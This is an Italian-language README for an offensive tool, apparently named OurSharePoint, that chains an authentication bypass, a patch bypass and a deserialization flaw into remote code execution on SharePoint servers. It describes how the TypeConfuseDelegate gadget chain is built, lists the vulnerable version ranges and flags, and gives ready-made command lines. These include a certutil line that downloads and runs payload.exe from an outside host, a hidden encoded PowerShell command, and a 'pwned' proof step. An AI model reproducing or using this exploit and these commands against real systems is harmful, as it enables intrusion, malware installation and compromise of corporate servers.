
Pensi davvero che SharePoint sia sicuro?
Strumento RCE per SharePoint autonomo, unico binario. Genera una catena di gadget TypeConfuseDelegate come byte MS-NRBF grezzi (senza ysoserial.exe), la avvolge in un payload di deserializzazione DataSet e la consegna tramite HTTP utilizzando il bypass di autenticazione — tutto in un colpo solo.
| Step | CVE | Descrizione |
|---|---|---|
| 1 | CVE-2025-49706 | Bypass autenticazione — Referer: /_layouts/SignOut.aspx salta l'autenticazione di SharePoint |
| 2 | CVE-2025-53771 | Bypass patch — il segmento di percorso finale dopo ToolPane.aspx elude la correzione di luglio 2025 |
| 3 | CVE-2025-49704 | Deserializzazione — ExcelDataSet.CompressedDataTable attiva BinaryFormatter su un DataSet appositamente creato |
| 4 | — | Lo schema di DataSet forza LosFormatter.Deserialize() sul payload interno tramite ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — il comparatore di SortedSet<string> è Process.Start(string, string), eseguendo cmd /c <comando> |
L'intero flusso binario (sia il wrapper DataSet esterno che il gadget TypeConfuseDelegate interno) è costruito come record MS-NRBF grezzi — non viene utilizzata la serializzazione runtime .NET. Ciò corrisponde al formato prodotto dal modulo Metasploit byte per byte.
Richiede .NET Framework 4.8 SDK (Visual Studio 2022 o Build Tools standalone):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Output: OurSharePoint\bin\Release\OurSharePoint.exe (file singolo, nessuna dipendenza)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
Quando si usa --out, lo strumento scrive:
| File | Contenuto |
|---|---|
<prefix>.bin | Stream DataSet BinaryFormatter grezzo |
<prefix>.b64 | Codificato GZip + Base64 (ciò che va in CompressedDataTable) |
| Edizione | Intervallo vulnerabile |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. Ciò evita differenze tra l'output della serializzazione runtime .NET e ciò che il deserializzatore target si aspetta.ObjectStateFormatter (0xFF 0x01 0x32 + lunghezza a 7 bit) invece di usare LosFormatter.Serialize().| Flag | Descrizione | Default |
|---|
--cmd=COMANDO | Comando da eseguire (viene eseguito come cmd /c COMANDO) | — |
--in=FILE | File payload LosFormatter pre-costruito in base64 | — |
--target=URL | URL base di SharePoint per la consegna HTTP | — |
--check | Solo impronta digitale versione, nessun payload | — |
--out=PREFIX | Prefisso file di output | payload |
--sp-version=VER | Versione percorso Layouts (15 o 16) | 15 |
--proxy=URL | Proxy HTTP | — |
--ua=STRING | User-Agent personalizzato | Firefox 120 |
--referer=URL | Sostituisci Referer per bypass autenticazione | auto |
--timeout=SEC | Timeout HTTP | 15 |
--a/b/c=NOME | Nomi DataSet/elemento/colonna | random |